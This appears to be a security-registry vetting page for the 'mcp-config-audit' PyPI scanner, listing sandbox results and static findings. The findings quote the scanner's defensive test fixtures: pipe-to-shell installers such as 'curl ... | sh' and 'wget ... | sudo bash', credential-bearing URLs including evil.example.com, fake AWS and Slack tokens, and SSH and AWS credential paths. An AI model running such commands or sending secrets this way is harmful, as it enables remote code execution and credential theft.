Skills/PyPI/mcp-config-audit

mcp-config-audit@0.1.0

VERIFIED· not started

Publisher claims: "Local-first security scanner for MCP (Model Context Protocol) configurations. No account, no telemetry, no network calls." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher jiru-labs · publishing for 126 daysInstalls 43Last detonated 7d ago
$claude mcp add mcp-config-audit -- uvx mcp-config-audit
WatchReport an issue

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

Code inventory arrives with this version's next honeypot run.
It will ask for
unknown until the next run
Where it talks to
unknown until the next run
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Not enough was observed to say yet. Not started: dependency install failed; the server itself was not observed. This version's code has not been inventoried for credentials and hosts either; both arrive with its next honeypot run (popular servers first). `vet-skills try mcp-config-audit` runs it now and prints the full answer.

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-07 and scored it 80/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1
0.1sprocessexec /usr/bin/date
0.1sprocessexec /usr/bin/timeout
0.1sprocessexec .venv/bin/mcp-config-audit
0.1sclaimedno tools/list reply (exit 0)
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
npx invocation of non-well-known packagetests/test_parsers.py:223 · npx invocation of non-well-known package — may execute untrusted code{"mcpServers": {"broken": "npx server", "ok": {"command": "npx"}}},Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
npx invocation of non-well-known packagetests/test_parsers.py:62 · npx invocation of non-well-known package — may execute untrusted code"npx -y @modelcontextprotocol/server-filesystem /Users/demo"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
AWS access key pattern detectedtests/test_static_credentials.py:113 · AWS access key pattern detected — possible hardcoded or harvested key("AKIAFAKEFIXTURE01234", "an AWS access key id"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
URL with embedded credentialstests/test_credentials.py:136 · URL with embedded credentials — may be phishing or credential leakingSplitting `https://user:password@host/?token=x` on its first `:` wouldFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
File type combined with upload actiontests/test_report.py:180 · File type combined with upload action — agent may exfiltrate local data filesassert "/etc/mcp.json:12" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
File type combined with upload actiontests/test_report.py:188 · File type combined with upload action — agent may exfiltrate local data filesassert "/etc/mcp.json:" not in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
npx invocation of non-well-known packagetests/test_parsers.py:74 · npx invocation of non-well-known package — may execute untrusted code"npx -y @example/mcp-remote --api-key=*** --verbose"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
URL with embedded credentialstests/test_credentials.py:142 · URL with embedded credentials — may be phishing or credential leaking(f"https://user:{password}@host.example.com/?token=x",)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
URL with embedded credentialstests/test_credentials.py:202 · URL with embedded credentials — may be phishing or credential leakingurl = f"https://demo:{FAKE_API_KEY}@mcp.example.com/mcp"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
File type combined with upload actiontests/test_report.py:187 · File type combined with upload action — agent may exfiltrate local data filesassert "/etc/mcp.json" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
HIGH
URL with embedded credentialsmcp_config_audit/credentials.py:250 · URL with embedded credentials — may be phishing or credential leaking# password there (`the value of 'https://user:secret@host/?token'`), leakingFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Pipe-to-shell patterntests/test_suspicious_patterns.py:44 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl -sSL https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Pipe-to-shell patterntests/test_suspicious_patterns.py:45 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl https://example.com/i.sh|bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Remote installer piped to shelltests/test_suspicious_patterns.py:44 · Remote installer piped to shell"curl -sSL https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
URL with embedded credentialstests/test_suspicious_patterns.py:139 · URL with embedded credentials — may be phishing or credential leakingurl = f"http://admin:{secret_password}@mcp.example.com/sse?api_key={secret_token}"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Pipe-to-shell patterntests/test_suspicious_patterns.py:68 · Pipe-to-shell pattern — downloads and immediately executes remote code'curl -s https://example.com/a | sh; 'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsmcp_config_audit/rules/broad_access.py:11 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesnarrow scope: it holds `~/.ssh`, `~/.aws`, every `.env` file and every privateFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
URL with embedded credentialstests/test_static_credentials.py:224 · URL with embedded credentials — may be phishing or credential leakingf"https://demo:{FAKE_API_KEY}@mcp.example.com/sse?token={FAKE_GITHUB_TOKEN}"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Privileged sudo commandtests/test_suspicious_patterns.py:46 · Privileged sudo command — agent may execute with elevated privileges"wget -qO- https://example.com/i.sh | sudo bash",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Outbound HTTP to raw IP addresstests/test_suspicious_patterns.py:106 · Outbound HTTP to raw IP address — may bypass domain-based monitoring"http://203.0.113.10:8080/mcp",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Remote installer piped to shelltests/test_suspicious_patterns.py:68 · Remote installer piped to shell'curl -s https://example.com/a | sh; 'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shelltests/test_suspicious_patterns.py:45 · Remote installer piped to shell"curl https://example.com/i.sh|bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
URL with embedded credentialstests/test_suspicious_patterns.py:146 · URL with embedded credentials — may be phishing or credential leakingassert "http://admin:***@mcp.example.com/sse?api_key=***" in messageFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Slack token pattern detectedtests/test_static_credentials.py:112 · Slack token pattern detected — possible hardcoded or harvested token("xoxb-1234567890-FAKEfixture", "a Slack token"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
Pipe-to-shell patterntests/test_suspicious_patterns.py:48 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl -sSL https://example.com/x.js | node",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
URL using raw IP addresstests/test_suspicious_patterns.py:106 · URL using raw IP address — may bypass domain-based filtering"http://203.0.113.10:8080/mcp",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
CRITICAL
Pipe-to-shell patternmcp_config_audit/rules/suspicious_patterns.py:8 · Pipe-to-shell pattern — downloads and immediately executes remote coderuns it (`curl … | sh`). The server is then whatever the remote host servesFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
URL with embedded credentialstests/test_static_credentials.py:215 · URL with embedded credentials — may be phishing or credential leakingserver = self._remote(f"https://demo:{FAKE_API_KEY}@mcp.example.com/mcp")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
AWS access key pattern detectedtests/test_credentials.py:87 · AWS access key pattern detected — possible hardcoded or harvested key"AKIAFAKEFIXTURE01234",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
Auto-update or dynamic fetch configurationtests/fixtures/claude_code_config.json:3 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"autoUpdates": true,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
npx invocation of non-well-known packagemcp_config_audit/rules/suspicious_patterns.py:273 · npx invocation of non-well-known package — may execute untrusted coderemote one carries it in the command line (`npx mcp-remote http://…`), andFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
MCP server using network transport (SSE/HTTP)mcp_config_audit/parsers.py:176 · MCP server using network transport (SSE/HTTP) — data sent over network`projects` block written *above* the top-level `mcpServers` crosses the twoFix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
AST04
MEDIUM
Remote installer piped to shelltests/fixtures/suspicious_config.json:5 · Remote installer piped to shell"args": ["-c", "curl -sSL https://mcp.example.com/install.sh | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsmcp_config_audit/rules/broad_access.py:61 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"a whole home directory — every SSH key, cloud credential, .env file "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
URL with embedded credentialstests/test_credentials.py:131 · URL with embedded credentials — may be phishing or credential leakingassert redacted[1] == "https://user:***@host.example.com/sse?api_key=***"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
URL with embedded credentialstests/test_cli.py:824 · URL with embedded credentials — may be phishing or credential leaking"args": ["mcp-remote", f"https://u:{password}@host.example.com/sse"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
Access to sensitive file pathsmcp_config_audit/rules/broad_access.py:130 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"directory holds your SSH keys, your browser profile, your `.env` files "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
MCP server using network transport (SSE/HTTP)tests/fixtures/suspicious_config.json:20 · MCP server using network transport (SSE/HTTP) — data sent over network"args": ["-y", "@example/[email protected]", "https://mcp.example.com/api"]Fix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
AST04
MEDIUM
URL with embedded credentialstests/test_cli.py:821 · URL with embedded credentials — may be phishing or credential leaking"plain": {"url": f"http://u:{password}@evil.example.com/mcp?api_key={token}"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
npx invocation of non-well-known packagemcp_config_audit/parsers.py:123 · npx invocation of non-well-known package — may execute untrusted codeand fix — and only the secret is replaced: `npx server --api-key=***`,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
URL with embedded credentialstests/test_credentials.py:123 · URL with embedded credentials — may be phishing or credential leakingf"https://user:{password}@host.example.com/sse?api_key={FAKE_API_KEY}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Remote installer piped to shellmcp_config_audit/rules/suspicious_patterns.py:8 · Remote installer piped to shellruns it (`curl … | sh`). The server is then whatever the remote host servesFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Pipe-to-shell patterntests/fixtures/suspicious_config.json:5 · Pipe-to-shell pattern — downloads and immediately executes remote code"args": ["-c", "curl -sSL https://mcp.example.com/install.sh | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Slack token pattern detectedtests/test_credentials.py:86 · Slack token pattern detected — possible hardcoded or harvested token"xoxb-1234567890-FAKEfixture",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03

Cost to the agent

Instructions loaded
≈2,362 tok
2 files · 49 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-config-audit@0.1.0 as of 3 h ago. This is the package itself, not its dependencies.